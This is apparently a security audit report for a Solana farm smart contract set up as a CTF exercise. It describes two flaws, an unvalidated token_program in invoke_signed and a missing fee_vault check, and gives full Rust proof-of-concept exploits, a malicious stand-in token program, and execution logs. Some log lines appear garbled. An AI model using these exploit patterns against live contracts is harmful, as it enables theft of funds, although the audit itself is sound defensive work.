



Javarez



Security 

HALBORN

Solana Smart Contract Audit - CTF

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Document Detail

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1. Executive Summary

Halborn engaged **Javarez Security** to perform a security audit on its smart contracts based on Solana blockchain. **Javarez Security** obtained permission to conduct the tests for the period of one week (October 5th to November 5th) and, for this purpose, was allocated a highly skilled security engineer. The objective of the procedure was to identify and audit vulnerabilities in the program logic that may impact **Halborn** business before its product release.

2. Scope and Objectives

Like any information security project, the strategies and tactics that are applied in the security audit must be very well planned. Therefore, together with **Halborn's** managers, meetings were held to clearly define the scope of audit service performed by the team of **Javarez Security**.

Halborn has undergone security tests on its smart contract seeking to achieve the following objectives:

- Ensure that program functions operate as intended.
- Identify potential security vulnerabilities in the program.
- Produce PoC to prove the existence of the security flaws.

The scope defined was:

- Repository: [Rust Solana](#)
- Commit: a70f5bbdbdf0fbc6fedeb0d824c1c9fc79a908bf9

At the end of the tests, it was agreed between the two companies that a report would be produced and sent to **Halborn**, so the engineers could perform the corrections in a timely manner.

3. Methodology

Javarez Security's security team ran the tests based on best practices in the market, manually analyzing the code to find security risks in the program implementation and used automated security tools to validate related dependencies. The audit phases can be separated into:

- Manual code review and walkthrough;
- Manual testing by custom scripts;
- Solana PoC Framework to execute a Proof of Concept.

Vulnerabilities or issues found can be grouped by its risk as shown below:

Critical	High	Medium	Low	Informational
Almost certain event that will cause a devastating and unrecoverable impact or loss	Highly probable incident that may cause a significant impact or loss	Potential security incident in the long term that may cause a partial impact or loss	Low probability of an incident occur that could cause minor impact or loss	Very unlikely issue that could cause a minimal or un-noticeable impact

4. Findings Overview

Critical	High	Medium	Low	Informational
1	1	0	0	0

Vulnerabilities	Risk level
Arbitrary signed program invocation	Critical
Missing account validation	High

5. Solana Farm Technical Details

Arbitrary signed program invocation

Critical

Description:

In processor.rs of the contract, it was verified that there is a `invoke_signed` function that aims to call an SPL program to transfer the funds that will be paid to enable the farm. Because there is no validation to verify that the `token_program` is legitimate, an attacker can create and input their own version of a `token_program` and run through the contract.

Code Location:

```

77     if farm_data.enabled == 1 {
78         return Err(FarmError::AlreadyInUse.into());
79     }
80
81     if !creator_info.is_signer {
82         return Err(FarmError::SignatureMissing.into());
83     }
84
85     if *creator_info.key != farm_data.creator {
86         return Err(FarmError::WrongCreator.into());
87     }
88
89     if *authority_info.key != Self::authority_id(program_id, farm_id_info.key, farm_data.nonce)? {
90         return Err(FarmError::InvalidProgramAddress.into());
91     }
92
93     if amount != FARM_FEE {
94         return Err(FarmError::InvalidFarmFee.into());
95     }
96
97     let fee_vault_owner = TokenAccount::unpack_from_slice(&fee_vault_info.try_borrow_data())?.owner;
98
99
100    if fee_vault_owner != *authority_info.key {
101        return Err(FarmError::InvalidFeeAccount.into());
102    }
103

```

Figure 1 - Lack of validation for `token_program`

```
132     pub fn token_transfer<'a>(  
133         pool: &Pubkey,  
134         token_program: AccountInfo<'a>,  
135         source: AccountInfo<'a>,  
136         destination: AccountInfo<'a>,  
137         authority: AccountInfo<'a>,  
138         nonce: u8,  
139         amount: u64,  
140     ) -> Result<(), ProgramError> {  
141         let pool_bytes = pool.to_bytes();  
142         let authority_signature_seeds = [&pool_bytes[..32], &[nonce]];  
143         let signers = [&authority_signature_seeds[..]];  
144  
145         let data = TokenInstruction::Transfer { amount }.pack();  
146  
147         let mut accounts = Vec::with_capacity(4);  
148         accounts.push(AccountMeta::new(*source.key, false));  
149         accounts.push(AccountMeta::new(*destination.key, false));  
150         accounts.push(AccountMeta::new_readonly(*authority.key, true));  
151  
152         let ix = Instruction {  
153             program_id: *token_program.key,  
154             accounts,  
155             data,  
156         };  
157  
158         invoke_signed(  
159             &ix,  
160             &[source, destination, authority, token_program],  
161             signers,  
162         )  
163     }  
164 }
```

Figure 2 - *invoke_signed* function

Proof of Concept – poc.rs:

```
use borsh::BorshSerialize;

use ctf_solana_farm::{instruction::FarmInstruction, processor::Processor, state::Farm,
error::FarmError};

use solana_program::instruction::{AccountMeta, Instruction};

use solana_program::native_token::lamports_to_sol;

use solana_program::{native_token::sol_to_lamports, pubkey::Pubkey,
system_program, program_option::COption};

use poc_framework::{LocalEnvironment, Environment, PrintableTransaction};

use solana_sdk::{signature::{Signer, Keypair}, msg};

use solana_program::borsh::try_from_slice_unchecked;

use std::str::FromStr;

use spl_token::state::{Account as TokenAccount, AccountState};


fn main () {

    poc_framework::setup_logging(poc_framework::LogLevel::DEBUG);

    //Accounts:


    //Creator

    let creator = poc_framework::keypair(0);
    let creator_pubkey = creator.pubkey();
    let creator_token_pubkey = Pubkey::new_unique();


    //farm

    let farm_pubkey = Pubkey::new_unique();


    //fee_vault

    let fee_vault_pubkey = Pubkey::new_unique();


    //token_program

    let token_program_pubkey = Pubkey::new_unique();
```

```
//path declaration

let path =
"/home/ziion/Documents/HalbornCTF_Rust_Solana/ctf/target/deploy/ctf_solana_farm.so";

//create owner pubkey

let farm_program_id = Pubkey::new_unique();

// farm nonce variable

let nonce = 111;

//sol to lamports - currency

let amount_1sol = sol_to_lamports(1.0);

//authority

let authority = authority_id(&farm_program_id, &farm_pubkey, nonce).unwrap();

//hacker contract

let hacker_path =
"/home/ziion/Documents/Hacker_solana/Hacker_contract/target/deploy/hacker_contract.so";

let hacker_program_pubkey = Pubkey::new_unique();

//SPL Token Accounts

let creator_token_account = TokenAccount{

    owner: creator_pubkey,

    mint: spl_token::id(),

    amount: 500,

    delegate: COption::None,

    state: AccountState::Initialized,

    is_native: COption::None,

    delegated_amount: 0,

    close_authority: COption::None,

};
```

```
let fee_vault_account = TokenAccount{
  owner: authority,
  mint: spl_token::id(),
  amount: 100,
  delegate: COption::None,
  state: AccountState::Initialized,
  is_native: COption::None,
  delegated_amount: 0,
  close_authority: COption::None,
};

//Farm Struct
let farm_struct = Farm{
  enabled: 0,
  nonce: nonce,
  token_program_id: token_program_pubkey,
  creator: creator_pubkey,
  fee_vault: fee_vault_pubkey,
};

//env – deploying the contracts and the accounts
let mut env =
poc_framework::LocalEnvironment::builder().add_program(farm_program_id,
path).add_program(hacker_program_pubkey,
hacker_path).add_account_with_data(farm_pubkey, farm_program_id,
&farm_struct.try_to_vec().unwrap(), false).add_account_with_lamports(authority,
system_program::id(), amount_1sol).add_account_with_lamports(creator_pubkey,
system_program::id(),
amount_1sol).add_account_with_lamports(token_program_pubkey,
system_program::id(),
amount_1sol).add_account_with_packable(fee_vault_pubkey,
system_program::id(),
fee_vault_account).add_account_with_packable(creator_token_pubkey,
system_program::id(), creator_token_account).build();
```

```
let ix = ix_pay_create_fee(
    &farm_pubkey,
    &authority,
    &creator_pubkey,
    &creator_token_pubkey,
    &fee_vault_pubkey,
    &hacker_program_pubkey,
    &farm_program_id,
    5000
);

let farm_status_before =
try_from_slice_unchecked::<Farm>(&env.get_account(farm_pubkey).unwrap().data
).unwrap();

let creator_before =
env.get_account(creator_token_pubkey).unwrap().lamports;

let feevault_before = env.get_account(fee_vault_pubkey).unwrap().lamports;

env.execute_as_transaction(&[ix], &[&creator]).print();

let farm_status_after =
try_from_slice_unchecked::<Farm>(&env.get_account(farm_pubkey).unwrap().data
).unwrap();

let creator_after = env.get_account(creator_token_pubkey).unwrap().lamports;
let feevault_after = env.get_account(fee_vault_pubkey).unwrap().lamports;

println!("farm status before the transaction: {:?}", farm_status_before.enabled);
println!("farm status after the transaction: {:?}", farm_status_after.enabled);
println!("Creator amount before the transaction: {}", creator_before);
println!("fee vault amount before the transaction: {}", feevault_before);
println!("Creator amount after the transaction: {}", creator_after);
println!("fee vault amount after the transaction: {}", feevault_after);
}
```

```
pub fn authority_id(
    program_id: &Pubkey,
    my_info: &Pubkey,
    nonce: u8,
) -> Result<Pubkey, FarmError> {
    Pubkey::create_program_address(&[&my_info.to_bytes()[..32], &[nonce]],
    program_id)
        .or(Err(FarmError::InvalidProgramAddress))
}

pub fn ix_pay_create_fee(
    farm_id: &Pubkey,
    authority: &Pubkey,
    creator: &Pubkey,
    creator_token_account: &Pubkey,
    fee_vault: &Pubkey,
    token_program_id: &Pubkey,
    farm_program_id: &Pubkey,
    amount: u64,
) -> Instruction {
    let accounts = vec![
        AccountMeta::new(*farm_id, false),
        AccountMeta::new_readonly(*authority, false),
        AccountMeta::new(*creator, true),
        AccountMeta::new(*creator_token_account, false),
        AccountMeta::new(*fee_vault, false),
        AccountMeta::new_readonly(*token_program_id, false),
    ];
    Instruction {
        program_id: *farm_program_id,
        accounts,
        data: FarmInstruction::PayFarmFee(amount).try_to_vec().unwrap(),
    }
}
```

Proof of Concept – hacker_contact.so:

```
use solana_program::{  
    account_info::AccountInfo,  
    entrypoint,  
    entrypoint::ProgramResult,  
    pubkey::Pubkey,  
    msg,  
};  
use spl_token::instruction::TokenInstruction;  
// declare and export the program's entrypoint  
entrypoint!(process_instruction);  
  
// program entrypoint's implementation  
pub fn process_instruction(  
    program_id: &Pubkey,  
    accounts: &[AccountInfo],  
    instruction_data: &[u8]  
) -> ProgramResult {  
    // log a message to the blockchain  
    match  
        spl_token::instruction::TokenInstruction::unpack(instruction_data).unwrap(){  
        spl_token::instruction::TokenInstruction::Transfer{amount, ..} => {  
            msg!("Success!");  
            Ok(())  
        }  
        _ => {  
            panic!("Error")  
        }  
    }  
}
```

Proof of Concept – Cargo.toml - Workspace:

```
[workspace]

members = [

    "pocs",

    "ctf_solana_farm"

]
```

Proof of Concept – Cargo.toml - poc:

```
[package]
name = "pocs"
version = "0.1.0"
edition = "2018"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
poc-framework = { version = "^0.2.0" }

solana-program = "1.8.2"
borsh = "0.9.1"
borsh-derive = "0.9.1"
spl-token = { version = "*", features = ["no-entrypoint"] }
ctf_solana_farm = { path = "../ctf_solana_farm", features = ["no-entrypoint"] }
solana-sdk = "1.7.8"
owo-colors = "3.1.0"
solana-logger = "1.8.2"

[[lib]]
```

Proof of Concept – Cargo.toml - ctf:

```
[package]
name = "ctf_solana_farm"
version = "0.1.0"
authors = ["lowprivuser"]
repository = "https://github.com/solana-labs/solana"
license = "Apache-2.0"
homepage = "https://solana.com/"
edition = "2018"

[features]
no-entryptpoint = []
test-bpf = []

[dependencies]
borsh = "0.9.1"
borsh-derive = "0.9.1"
solana-program = "1.7.8"
num-derive = "0.3"
num-traits = "0.2"
thiserror = "1.0"
spl-token = { version = "3.2.0", features = [ "no-entryptpoint" ] }

[dev-dependencies]
solana-program-test = "1.7.8"
solana-sdk = "1.7.8"
poc-framework = "^0.2.0"

[[lib]]
name = "ctf_solana_farm"
crate-type = ["cdylib", "lib"]
```


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```
EXECUTE (slot 0)
Version: legacy
Recent Blockhash: 5Jq6HhSQChgh9GhMZ3JaJJhdZdALBoX2MjqDurbh8VKS
Signature 0: 3xJ2pZWfScmD1ed9K15nHz7QotPVeFBr4w7vhaYeDKRCIXt4YxaDoAktxubckLymzRNpNzt4nURxagm4GSUX
Signature 1: MoZ8keZUDHdU1z3t1UcHtVwZao1AEcdB1BAVtngTwqi2CosMbJ4KrsPgdtanHw6iVd5lzc7Qj3sn4dBUry
Account 0: srw- CZYmMDJjnPqLDLQ2VVKZuFnc6U6q6v11VA1xsELG3hb (fee payer)
Account 1: srw- KooovYhdpoRPA6gn7xr3cmjgAvtpHcjCBX6J8KuInf
Account 2: ~rw- 4uQeVj5tqVlQh7yWmGStvkEG1Zmhx6uasJtWCJzlofM
Account 3: ~rw- 8opHzTAnfzRbPEX21XtnrVTX28YQuCpA1cniPcz5cKh
Account 4: ~rw- CldwVBFgw9E5MvXwLgnEgn2Hk7r3JkbfWavzAQz3
Account 5: ~r-x LX3EudRUBUa3TbsYXLEUdj9J3prXkXwVLYSwYyc2Jj
Account 6: ~r-x QRSsyMMN1yHT9lr42bgNZUNZ4PdEhcSWCrL2AryKpy5
Account 7: ~r-x AvcWY4BPrhZRLZkV7LP2NduRCEcDCEzyVUHHx9UxqDbB
Instruction 0
Program: LX3EudRUBUa3TbsYXLEUdj9J3prXkXwVLYSwYyc2Jj (5) token::state::Account as TokenAccount, AccountState);
Account 0: 8opHzTAnfzRbPEX21XtnrVTX28YQuCpA1cniPcz5cKh (3)
Account 1: AvcWY4BPrhZRLZkV7LP2NduRCEcDCEzyVUHHx9UxqDbB (7)
Account 2: KooovYhdpoRPA6gn7xr3cmjgAvtpHcjCBX6J8KuInf (1)
Account 3: 4uQeVj5tqVlQh7yWmGStvkEG1Zmhx6uasJtWCJzlofM (2)
Account 4: CldwVBFgw9E5MvXwLgnEgn2Hk7r3JkbfWavzAQz3 (4) framework::setup_logging(poc.framework::LogLevel::DEBUG);
Account 5: QRSsyMMN1yHT9lr42bgNZUNZ4PdEhcSWCrL2AryKpy5 (6) counts;
Data: [1, 136, 19, 0, 0, 0, 0, 0]
Status: Ok
Fee: 0
Program: LX3EudRUBUa3TbsYXLEUdj9J3prXkXwVLYSwYyc2Jj
Account 0 balance: 0.281474.976710656
Account 1 balance: 0.00203928
Account 2 balance: 0.00157296
Account 3 balance: 0.00157296
Account 4 balance: 0.00203928
Account 5 balance: 0.48007296
Account 6 balance: 0.3596928
Account 7 balance: 0.1
Log Messages:
Program LX3EudRUBUa3TbsYXLEUdj9J3prXkXwVLYSwYyc2Jj invoke [1]
Program QRSsyMMN1yHT9lr42bgNZUNZ4PdEhcSWCrL2AryKpy5 invoke [2]
Program Log: Success
Program QRSsyMMN1yHT9lr42bgNZUNZ4PdEhcSWCrL2AryKpy5 consumed 917 of 193351 compute units
Program QRSsyMMN1yHT9lr42bgNZUNZ4PdEhcSWCrL2AryKpy5 success
Program LX3EudRUBUa3TbsYXLEUdj9J3prXkXwVLYSwYyc2Jj consumed 8208 of 200000 compute units
Program LX3EudRUBUa3TbsYXLEUdj9J3prXkXwVLYSwYyc2Jj success
farm status before the transaction: 0
farm status after the transaction: 1
Creator amount before the transaction: 2039280
fee vault amount before the transaction: 2039280
Creator amount after the transaction: 2039280
fee vault amount after the transaction: 2039280
[2022-11-06T17:08:15.459293258Z INFO solana_runtime:accounts_db] remove_dead_slots_metadata: slots [0]
[2022-11-06T17:08:15.459586104Z DEBUG solana_runtime:accounts_db] process_dead_slots(1): reclaims::clean_dead_slots took 2ms reclaims::purge_removed_slots took 104us {0} <
```

Figure 3 - Executing the PoC script

Recommendation:

It is recommended to implement a verification to ensure that the public key of the **token_program** is the official SPL token program.

Impact:

An attacker can input a public key of a malicious program in place of **token_program**. This program can cause the contract funds to be drained.

Missing account validation

High

Description:

In the `proccess_pay_farm_fee` processor instruction, it is possible to visualize that the program expects a token account that will be used for the fee deposit, this token account is `fee_vault`. Because the only check performed is whether this account has the authority as an owner, an attacker can take advantage of this statement.

The attacker can create a token account of their control with the value of the owner field containing the authority public key. The `token_transfer` instruction will transfer the farm fee to that account and the farm will be enabled.

Code Location:

```

77         if farm_data.enabled == 1 {
78             return Err(FarmError::AlreadyInUse.into());
79         }
80
81         if !creator_info.is_signer {
82             return Err(FarmError::SignatureMissing.into());
83         }
84
85         if *creator_info.key != farm_data.creator {
86             return Err(FarmError::WrongCreator.into());
87         }
88
89         if *authority_info.key != Self::authority_id(program_id, farm_id_info.key, farm_data.nonce)? {
90             return Err(FarmError::InvalidProgramAddress.into());
91         }
92
93         if amount != FARM_FEE {
94             return Err(FarmError::InvalidFarmFee.into());
95         }
96
97         let fee_vault_owner = TokenAccount::unpack_from_slice(&fee_vault_info.try_borrow_data())?.owner;
98
99
100        if fee_vault_owner != *authority_info.key {
101            return Err(FarmError::InvalidFeeAccount.into());
102        }

```

Figure 4 – missing the fee_vault check

Proof of Concept – poc2.rs:

```
use borsh::BorshSerialize;

use ctf_solana_farm::{instruction::FarmInstruction, processor::Processor, state::Farm,
error::FarmError};

use solana_program::instruction::{AccountMeta, Instruction};

use solana_program::native_token::lamports_to_sol;

use solana_program::{native_token::sol_to_lamports, pubkey::Pubkey,
system_program, program_option::COption};

use poc_framework::{LocalEnvironment, Environment, PrintableTransaction};

use solana_sdk::{signature::{Signer, Keypair}, msg};

use solana_program::borsh::try_from_slice_unchecked;

use std::str::FromStr;

use solana_program::program_pack::Pack;

use spl_token::state::{Account as TokenAccount, AccountState};

fn main () {
    poc_framework::setup_logging(poc_framework::LogLevel::DEBUG);

    //accounts:

    //Creator
    let creator = poc_framework::keypair(1);
    let creator_pubkey = creator.pubkey();
    let creator_token_pubkey = Pubkey::new_unique();

    //minter:
    let minter_pubkey = Pubkey::new_unique();

    //farm
    let farm_pubkey = Pubkey::new_unique();

    //fee_vault
    let fee_vault_pubkey = Pubkey::new_unique();
```

```
//token_program
let token_program_pubkey = Pubkey::new_unique();

//path declaration
let path =
"/home/zion/Documents/HalbornCTF_Rust_Solana/ctf/target/deploy/ctf_solana_farm.so";

//program id
let farm_program_id =
Pubkey::from_str("W41t3r33333333333333333333333333333333").unwrap();

//farm nonce
let nonce = 123;

//sol conversion
let amount_1sol = sol_to_lamports(1.0);

//authority
let authority = authority_id(&farm_program_id, &farm_pubkey, nonce).unwrap();

//let (authority, _) = Pubkey::find_program_address(&[b"solanaFarm"],
&farm_program_id);

//SPL Token Accounts
let creator_token_account = TokenAccount{
    owner: creator_pubkey,
    mint: spl_token::id(),
    amount: 500,
    delegate: COption::None,
    state: AccountState::Initialized,
    is_native: COption::None,
    delegated_amount: 0,
    close_authority: COption::None,
};
```

```
let fee_vault_account = TokenAccount{
  owner: authority,
  mint: spl_token::id(),
  amount: 100,
  delegate: COption::None,
  state: AccountState::Initialized,
  is_native: COption::None,
  delegated_amount: 0,
  close_authority: COption::None,
};

//Farm Struct
let farm_struct = Farm{
  enabled: 0,
  nonce: nonce,
  token_program_id: token_program_pubkey,
  creator: creator_pubkey,
  fee_vault: fee_vault_pubkey,
};

//local env build
let mut env =
poc_framework::LocalEnvironment::builder().add_program(farm_program_id,
path).add_account_with_data(farm_pubkey, farm_program_id,
&farm_struct.try_to_vec().unwrap(), false).add_token_mint(minter_pubkey, None,
amount_1sol, 0, None).add_account_with_lamports(creator_pubkey,
system_program::id(),
amount_1sol).add_account_with_packable(fee_vault_pubkey,
system_program::id(),
fee_vault_account).add_account_with_tokens(creator_token_pubkey,
minter_pubkey, creator_pubkey,
amount_1sol).add_account_with_tokens(creator_pubkey, minter_pubkey, authority,
0).build();
```

```
let creator_token_before =
env.get_account(creator_token_pubkey).unwrap().data;

let creator_token_info_before =
TokenAccount::unpack(&creator_token_before).unwrap();

let creator_before = env.get_account(creator_pubkey).unwrap().data;
let creator_info_before = TokenAccount::unpack(&creator_before).unwrap();

let ix = ix_pay_create_fee(
    &farm_pubkey,
    &authority,
    &creator_pubkey,
    &creator_token_pubkey,
    &creator_pubkey,
    &spl_token::id(),
    &farm_program_id,
    5000
);

let farm_status_before =
try_from_slice_unchecked::<Farm>(&env.get_account(farm_pubkey).unwrap().data
).unwrap();

env.execute_as_transaction([&ix], [&creator]).print();

let farm_status_after =
try_from_slice_unchecked::<Farm>(&env.get_account(farm_pubkey).unwrap().data
).unwrap();

let creator_token_after =
env.get_account(creator_token_pubkey).unwrap().data;

let creator_token_info_after =
TokenAccount::unpack(&creator_token_after).unwrap();
```

```
let creator_after = env.get_account(creator_pubkey).unwrap().data;
let creator_info_after = TokenAccount::unpack(&creator_after).unwrap();

println!("farm status before the transaction: {:?}", farm_status_before.enabled);
println!("farm status after the transaction: {:?}", farm_status_after.enabled);

println!("creator_token amount before the transaction: {:?}",
creator_token_info_before);

println!("creator amount before the transaction: {:?}", creator_info_before);

println!("creator_token amount after the transaction: {:?}",
creator_token_info_after);

println!("creator amount after the transaction: {:?}", creator_info_after);

println!("authority (PDA Account): {:?}", authority);

}

pub fn authority_id(
    program_id: &Pubkey,
    my_info: &Pubkey,
    nonce: u8,
) -> Result<Pubkey, FarmError> {
    Pubkey::create_program_address(&[&my_info.to_bytes()[..32], &[nonce]],
program_id)
        .or(Err(FarmError::InvalidProgramAddress))
}
```



```
pub fn ix_pay_create_fee(
    farm_id: &Pubkey,
    authority: &Pubkey,
    creator: &Pubkey,
    creator_token_account: &Pubkey,
    fee_vault: &Pubkey,
    token_program_id: &Pubkey,
    farm_program_id: &Pubkey,
    amount: u64,
) -> Instruction {
    let accounts = vec![
        AccountMeta::new(*farm_id, false),
        AccountMeta::new_readonly(*authority, false),
        AccountMeta::new(*creator, true),
        AccountMeta::new(*creator_token_account, false),
        AccountMeta::new(*fee_vault, false),
        AccountMeta::new_readonly(*token_program_id, false),
    ];
    Instruction {
        program_id: *farm_program_id,
        accounts,
        data: FarmInstruction::PayFarmFee(amount).try_to_vec().unwrap(),
    }
}
```

Proof of Concept – Cargo.toml – poc2:

```
[package]
name = "pocs"
version = "0.1.0"
edition = "2018"

# See more keys and their definitions at https://doc.rust-
lang.org/cargo/reference/manifest.html

[dependencies]
poc-framework = { version = "^0.2.0" }

solana-program = "1.8.2"
borsh = "0.9.1"
borsh-derive = "0.9.1"
spl-token = { version = "*", features = ["no-entrypoint"] }
ctf_solana_farm = { path = "../ctf_solana_farm", features = ["no-entrypoint"] }
solana-sdk = "1.7.8"
owo-colors = "3.1.0"
solana-logger = "1.8.2"

[lib]
```

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[illegible]



Javarez



Security 

Contributing to a safer world.
Thank you for your preference.